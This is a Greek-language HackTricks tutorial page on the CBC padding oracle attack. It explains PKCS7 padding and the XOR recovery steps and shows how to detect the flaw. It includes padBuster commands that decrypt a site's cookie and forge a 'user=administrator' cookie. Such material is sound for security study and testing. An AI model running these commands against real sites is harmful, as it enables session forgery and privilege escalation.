mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
124 lines
13 KiB
Markdown
124 lines
13 KiB
Markdown
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
|
||
# CBC - Cipher Block Chaining
|
||
|
||
Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για το XOR με το επόμενο μπλοκ:
|
||
|
||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||
|
||
Για να αποκρυπτογραφηθεί το CBC γίνονται οι **αντίθετες** **λειτουργίες**:
|
||
|
||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||
|
||
Παρατηρήστε ότι απαιτείται η χρήση ενός **κλειδιού κρυπτογράφησης** και ενός **IV**.
|
||
|
||
# Προσθήκη Μηνύματος
|
||
|
||
Καθώς η κρυπτογράφηση γίνεται σε **σταθερά μπλοκ μεγέθους**, συνήθως απαιτείται **προσθήκη μηνύματος** στο **τελευταίο μπλοκ** για να ολοκληρωθεί το μήκος του.\
|
||
Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια προσθήκη που **επαναλαμβάνει** τον **αριθμό των bytes που απαιτούνται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 bytes, η προσθήκη θα είναι `\x03\x03\x03`.
|
||
|
||
Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8bytes**:
|
||
|
||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||
|
||
Παρατηρήστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα ακόμα μόνο με προσθήκη**.
|
||
|
||
# Padding Oracle
|
||
|
||
Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει την προσθήκη. Κατά τη διάρκεια της αφαίρεσης της προσθήκης, εάν μια **μη έγκυρη προσθήκη προκαλέσει μια ανιχνεύσιμη συμπεριφορά**, τότε έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, έλλειψη αποτελεσμάτων ή **αργότερη απόκριση**.
|
||
|
||
Εάν ανιχνεύσετε αυτήν τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμα και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
|
||
|
||
## Πώς να εκμεταλλευτείτε
|
||
|
||
Μπορείτε να χρησιμοποιήσετε το [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτού του είδους την ευπάθεια ή απλά να κάνετε
|
||
```
|
||
sudo apt-get install padbuster
|
||
```
|
||
Για να ελέγξετε αν το cookie ενός ιστότοπου είναι ευάλωτο, μπορείτε να δοκιμάσετε:
|
||
```bash
|
||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||
```
|
||
**Η κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες, ελέγξτε το μενού βοήθειας).
|
||
|
||
Μπορείτε επίσης **να καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα**. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**" και μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να αναβαθμίσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας το `padbuster` και καθορίζοντας την παράμετρο **-plaintext**:
|
||
```bash
|
||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||
```
|
||
Εάν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα στο padding, αλλά μπορείτε επίσης να το υποδείξετε χρησιμοποιώντας την παράμετρο **-error** και το μήνυμα σφάλματος.
|
||
```bash
|
||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||
```
|
||
## Η θεωρία
|
||
|
||
Συνοψίζοντας, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργηθούν όλα τα διάφορα paddings. Στη συνέχεια, η επίθεση με padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή, μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding του 1, 2, 3, κλπ.
|
||
|
||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||
|
||
Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που αποτελούνται από τα bytes από το E0 έως το E15.\
|
||
Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνά από την "αποκρυπτογράφηση του block cipher" δημιουργώντας τα ενδιάμεσα bytes I0 έως I15.\
|
||
Τέλος, κάθε ενδιάμεσο byte γίνεται XOR με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
|
||
|
||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||
* `C14 = I14 ^ E6`
|
||
* `C13 = I13 ^ E5`
|
||
* `C12 = I12 ^ E4`
|
||
* ...
|
||
|
||
Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, που θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτήν την περίπτωση: `\x01 = I15 ^ E'7`
|
||
|
||
Έτσι, βρίσκοντας το `E'7`, είναι δυνατόν να υπολογιστεί το `I15`: `I15 = 0x01 ^ E'7`
|
||
|
||
Αυτό μας επιτρέπει να υπολογίσουμε το `C15`: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||
|
||
Γνωρίζοντας το `C15`, τώρα είναι δυνατόν να υπολογίσουμε το `C14`, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`.
|
||
|
||
Αυτό το BF είναι εξίσου πολύπλοκο με το προηγούμενο, καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15`, οπότε απλά χρειάζεται να βρεθεί το `E'14` που δημιουργεί ένα `C14` ίσο με `0x02`.\
|
||
Στη συνέχεια, εκτελούνται τα ίδια βήματα για να αποκρυπτογραφηθεί το C14: `C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
|
||
|
||
**Ακολουθήστε αυτήν την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
|
||
|
||
## Ανίχνευση της ευπάθειας
|
||
|
||
Καταχωρήστε έναν λογαριασμό και συνδεθείτε με αυτόν τον λογαριασμό.\
|
||
Εάν συνδεθείτε πολλές φορές και πάντα λαμβάνετε τον **ίδιο cookie**, πιθανώς υπάρχει κάτι **λάθος** στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Εάν το cookie είναι **πάντα** το **ίδιο**, πιθανώς θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
|
||
|
||
Τώρα, εάν προσπαθήσετε να **τροποποιήσετε** το **cookie**, μπορείτε να δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\
|
||
Αλλά εάν κάνετε brute-force το padding (χρησιμοποιώντας για παράδειγμα το padbuster), καταφέρνετε να λάβετε ένα άλλο έγκυρο cookie για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πιθανόν να είναι ευπάθεια στο padbuster.
|
||
|
||
## Αναφορές
|
||
|
||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||
|
||
</details>
|